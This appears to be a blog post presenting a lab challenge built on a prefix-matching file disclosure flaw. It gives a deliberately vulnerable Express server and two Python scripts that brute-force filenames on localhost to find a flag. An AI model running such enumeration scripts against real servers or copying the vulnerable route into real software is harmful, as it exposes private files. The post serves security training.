Coding is not optional for hackers

A real-world challenge to prove coding is not optional for a hacker.

Coding is not optional for hackers

About this challenge:

There is a directory listing vulnerability underneath and it was found during one of my previous real-world engagements.

The pattern matching rule only requires the first character(s) to match the file name, meaning visiting "https://url/a" will show you the content of "https://url/apple.txt" if it is the only file started with "a".

The slightly tricky part about this challenge is when you have multiple files that have same prefix. How do you know there's an apple.txt after you gained access to app.txt?

Hint: the filenames only contain a-z (lower case) and one dot (.)

How the solution looks like:

0:00
/0:07

Used smaller values for the demo

async function generateFiles(numFiles = 10, maxLength = 5) {

How to setup:

  1. create an empty directory and put server.js in it (source code below).
  2. Run the script using the commands below.

(What it does: it first creates a public folder and 100 files with random filenames, one of which contains the flag. Then it will start listening at port 3000. You can restart it multiple times to test your code better.)

Prerequisites: Node.js and Express.js installed

npm init -y
npm install express
node server.js

Content of server.js

const express = require("express");
const path = require("path");
const fs = require("fs");

const app = express();
const port = 3000;
const dirName = "public";

function generateRandomFilename(length = 5) {
  const chars = "abcdefghijklmnopqrstuvwxyz";
  let result = "";
  for (let i = 0; i < length; i++) {
    result += chars.charAt(Math.floor(Math.random() * chars.length));
  }
  return result;
}

async function generateFiles(numFiles = 100, maxLength = 10) {
  // Clean up existing files
  try {
    await fs.promises.rm(dirName, { recursive: true, force: true });
    console.log("Existing files removed");
  } catch (error) {
    if (error.code !== "ENOENT") {
      console.error("Error removing existing files:", error);
    }
  }

  // Create a directory to store the files
  try {
    await fs.promises.access(dirName);
  } catch (err) {
    if (err.code !== "ENOENT") throw err;
    await fs.promises.mkdir(dirName, { recursive: true });
  }

  // Generate files
  const files = [];
  for (let i = 0; i < numFiles; i++) {
    let filenameLength = Math.floor(Math.random() * (maxLength - 3 + 1)) + 3;
    let filename = generateRandomFilename(filenameLength);

    // Add overlapping prefix with 20% chance
    if (Math.random() < 0.2) {
      const overlapLength =
        Math.floor(Math.random() * Math.min(3, filenameLength)) + 1;
      const overlapPrefix = filename.slice(0, overlapLength);
      const newLength =
        Math.floor(Math.random() * (maxLength - overlapLength)) +
        overlapLength +
        1;
      filename =
        overlapPrefix + generateRandomFilename(newLength - overlapLength);
    }

    // Use unusual 3-letter extension with 30% chance
    let fullFilename;
    if (Math.random() < 0.3) {
      const ext = generateRandomFilename(3);
      fullFilename = `${filename}.${ext}`;
    } else {
      fullFilename = `${filename}.txt`;
    }

    // Create the file
    const filePath = path.join(dirName, fullFilename);
    files.push(filePath);

    // Write content to files
    const flagFileIndex = Math.floor(Math.random() * files.length);
    await Promise.all(
      files.map(async (filePath, index) => {
        if (index === flagFileIndex) {
          await fs.promises.writeFile(filePath, `flag{thanks_for_playing}`);
        } else {
          await fs.promises.writeFile(filePath, generateRandomFilename(24));
        }
      })
    );

    console.log(
      `Random files generated successfully! Flag hidden in one of ${files.length} files.`
    );
  }
}

async function findMatchingFile(pattern) {
  try {
    const files = await fs.promises.readdir(dirName);
    for (const file of files) {
      if (new RegExp("^" + escapeRegExp(pattern), "i").test(file)) {
        return file;
      }
    }
    return null;
  } catch (error) {
    console.error("Error reading directory:", error);
    return null;
  }
}

// Helper function to escape special characters in regex
function escapeRegExp(string) {
  return string.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); // $& means the whole matched string
}

app.get("/:pattern", async (req, res) => {
  const pattern = req.params.pattern;

  const matchingFile = await findMatchingFile(pattern);

  if (!matchingFile) {
    return res.status(404).send("No matching files found");
  }

  const filePath = path.join(dirName, matchingFile);

  try {
    const data = await fs.readFileSync(filePath);

    // Set content type based on file extension
    const ext = path.extname(matchingFile).toLowerCase();
    const contentType =
      {
        ".txt": "text/plain",
      }[ext] || "application/octet-stream";

    res.setHeader("Content-Type", contentType);
    res.send(data);
  } catch (error) {
    console.error("Error reading file:", error);
    res.status(500).send("Error serving file");
  }
});

// Serve index page
app.get("/", (req, res) => {
  res.send("Homepage");
});

// Start the server after setting up the public directory
async function startServer() {
  try {
    await generateFiles();
    app.listen(port, () => {
      console.log(`Server running at http://localhost:${port}`);
    });
  } catch (error) {
    console.error("Error starting server:", error);
  }
}

startServer();

My Version

import requests
import string
import sys 

results = []
count = 0

def brute_force_endpoint(url):
    charset = string.ascii_lowercase + '.'

    # reached the end of a valid file name e.g., "http://localhost/abc.txt."
    if '.' in url.split('/')[-1][:-2] and url[-1] == '.':
        return 

    response = requests.get(url, headers={'Connection': 'close'})

    global count 
    count+=1
    
    result = {'filename': url.split('/')[-1], 'content': response.text}

    if response.text != 'Homepage' and response.text != 'No matching files found':
        if results == []:
            results.append(result)
        else:
            # Check if the last file in "results" list is the same file by comparing the filename and content 
            if (results[-1]['content'] == result['content']) and (results[-1]['filename'] == result['filename'][:-1]):
                # if it's the same file, use the longer filename 
                results[-1] = result
            else:
                # if not, add the new file into the results list
                print(results[-1])
                results.append(result)
            
    for char in charset: 
        # if the URL is valid, dive deeper
        if 'No matching files found' not in response.text: 
            brute_force_endpoint(url + char)
    return 
    

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python brute.py <url>")
        sys.exit(1)
    
    url = sys.argv[1]

    print("\nResults:")

    brute_force_endpoint(url)

    print("Total number of files :", len(results))

    file = next((result for result in results if 'flag' in result['content']), None)
    if file:
        print("\n\nFile containing flag: " + file['filename'] + "\nFlag: " + file['content'])

    print("Total request sent:", count)

Kind of rushed it and it has a bug that sometimes create duplicates.

Maybe will come back to debugging it in the future.

A Better Version

From Maaz Shaik: https://pastebin.com/Tw6JV1n6

# Please don't judge my scripting too harshly, I am very sleep deprived.


import requests
import string

BASE_URL = "http://localhost:3000"  # Server URL
ALPHABET = string.ascii_lowercase  # All alphabets
flags = {}  # Dictionary to store the most recent filename for each flag
found_patterns = set()  # Set to track checked patterns
request_count = 0  # Counter to track the number of requests made

def check_pattern(pattern):
    global found_patterns, request_count
    response = requests.get(f"{BASE_URL}/{pattern}")
    request_count += 1  

    # Print request count at intervals of 100
    if request_count % 100 == 0:
        print(f"Requests made: {request_count}",end='\r')

    if response.status_code == 200:
        content = response.text.strip()
        
        if pattern not in found_patterns:
            found_patterns.add(pattern)
            
            flags[content] = pattern  # Update the dictionary with the most recent pattern for each flag content by overwriting it
        return True
    return False

def brute_force():
    # Step 1: Start with single characters [I did it like this because my brain wasn't working on 2 hours of sleep]
    to_check = list(ALPHABET)

    # Step 2: Iteratively build patterns via extension
    while to_check:
        current_pattern = to_check.pop(0) # Pop off patterns that are being checked

        if check_pattern(current_pattern):
            # Generate new patterns by extending current pattern with each alphabet letter
            for char in ALPHABET:
                new_pattern = current_pattern + char
                if new_pattern not in found_patterns:
                    to_check.append(new_pattern)
            
            # Also try appending a dot if not already present
            if '.' not in current_pattern:
                dot_pattern = current_pattern + '.'
                if dot_pattern not in found_patterns:
                    to_check.append(dot_pattern)

    # Print final summary with all unique flags and their most recent associated filename
    print("\nSummary of found flags:")
    print(f"Total requests made: {request_count}")
    for content, filename in flags.items():
        print(f"Flag: {content} | Most recent filename: {filename}")

if __name__ == "__main__":
    brute_force()